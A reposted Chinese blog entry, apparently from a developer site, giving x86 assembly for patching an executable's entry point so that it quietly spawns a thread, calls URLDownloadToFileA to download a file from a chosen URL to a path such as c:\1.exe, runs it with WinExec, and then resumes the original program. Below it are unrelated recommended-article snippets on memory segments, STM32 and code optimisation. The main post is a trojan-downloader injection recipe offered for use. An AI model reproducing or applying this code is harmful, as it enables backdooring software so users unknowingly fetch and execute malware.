通过修改程序的代码使程序能够下载并运行指定程序

转载 2007年09月25日 11:29:00
相关代码如下:
  原入口:
  jmp  xxxxxxxx    代码段②开始的位置
  ①:
  pushad
  push xxxxxxxx    字符串urlmon.dll的位置
  call kernel32.LoadLibraryA
  push xxxxxxxx    字符串URLDownloadToFileA的位置
  push eax
  call kernel32.GetProcAddress
  push 0
  push 0
  push xxxxxxxx    存放位置,如:c://1.exe
  push xxxxxxxx    下载位置
  push 0
  call eax
  push 0
  push xxxxxxxx    存放位置
  call kernel32.WinExec
  popad
  retn


  ②:
  pushad
  push 0
  push 0
  push xxxxxxxx    代码①开始的位置
  call msvcrt._beginthread
  jmp xxxxxxxx     原入口的位置
 

程序运行流程——链接、装载及执行

在阅读完《深入理解计算机系统》第一章(计算机系统漫游)、第七章(链接)以及第十章(虚拟存储器)和《程序员的自我修养——链接、装载与库》后,历时悠久的梦想终于要实现了。开篇之初,首先提出一个迷惑了很久的...
  • happyppdog
  • happyppdog
  • 2016年04月13日 16:56
  • 1495

对ARM加载域和运行域的理解(ARM程序是怎么运行的)

对ARM加载域和运行域的理解 一般而言,一个程序包括只读的代码段和可读写的数据段。在ARM的集成开发环境中,只读的代码段和常量被称作RO段(ReadOnly);可读写的全局变量和静态变量被称作RW段...
  • lindabell
  • lindabell
  • 2013年05月21日 23:04
  • 5874

关于程序是怎样在STM32里运行的

单片机执行程序的过程,实际上就是执行我们所编制程序的过程。即逐条指令的过程。计算机每执行一条指令都可分为三个阶段进行。即取指令-----分析指令-----执行指令。 取指令的任务是:根据程序...
  • wuhuan_001
  • wuhuan_001
  • 2013年12月28日 19:58
  • 1377

通过代码将程序在Win7/Win8下设置成以兼容模式运行

有时我们开发的程序在Wind7或Win8下面无法启动,必须将之设置成以兼容模式运行后才能启动。设置以兼容模式运行,可以手动修改程序的右键属性,将之设置成以兼容模式运行;但是对于开发出来的商用软件,让用...
  • chenlycly
  • chenlycly
  • 2013年06月20日 23:55
  • 11003

如何利用VS的代码优化和openmp并行计算提高程序运行速度

以前利用多线程为拥有较大量计算的程序提速过,但也深知多线程的同步和程序的调试是一大坑,最近为实验室的项目学习了一点VS下优化代码的设置以及利用openmp加速运算,都是些很基本的提升程序速度的方法,只...
  • tmshasha
  • tmshasha
  • 2015年07月15日 22:43
  • 3013

C语言中内存分布及程序运行中(BSS段、数据段、代码段、堆栈)

BSS段:(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域。BSS是英文Block Started by Symbol的简称。BSS段属于静态内存分配。 ...
  • u011555996
  • u011555996
  • 2017年12月28日 16:05
  • 28

C语言中内存分布及程序运行中(BSS段、数据段、代码段、堆栈)

经常看到uboot里面有清bbs段.一直都不明白,bbs段是什么东西,为什么要清,有什么作用. 还有其他段,都是些什么关系。 c语言中总体来说,分两种情况:1.编译出来可执行文件放在存储盘上...
  • u010550992
  • u010550992
  • 2014年05月25日 22:36
  • 2330

分析 PHP 应用程序以查找、诊断和加速运行缓慢的代码(Xdebug+KCacheGrind)

利用Xdebug+KCacheGrind来调试
  • lg_lin
  • lg_lin
  • 2014年05月14日 14:28
  • 505

C语言中内存分布及程序运行中(BSS段、数据段、代码段、堆栈)

C语言中内存分布及程序运行中(BSS段、数据段、代码段、堆栈) BSS段:(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域。BSS是英...
  • komtao520
  • komtao520
  • 2017年12月27日 11:24
  • 39

对运行于STM32的嵌入式代码程序进行加密

目的:对运行于STM32的嵌入式代码程序进行加密 编译环境:IAR Embedded System for ARM5.5 一.STM32Flash组织 STM32的Flash包括主存储器(H...
  • niepangu
  • niepangu
  • 2015年06月03日 18:00
  • 2355
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:通过修改程序的代码使程序能够下载并运行指定程序
举报原因:
原因补充:

(最多只允许输入30个字)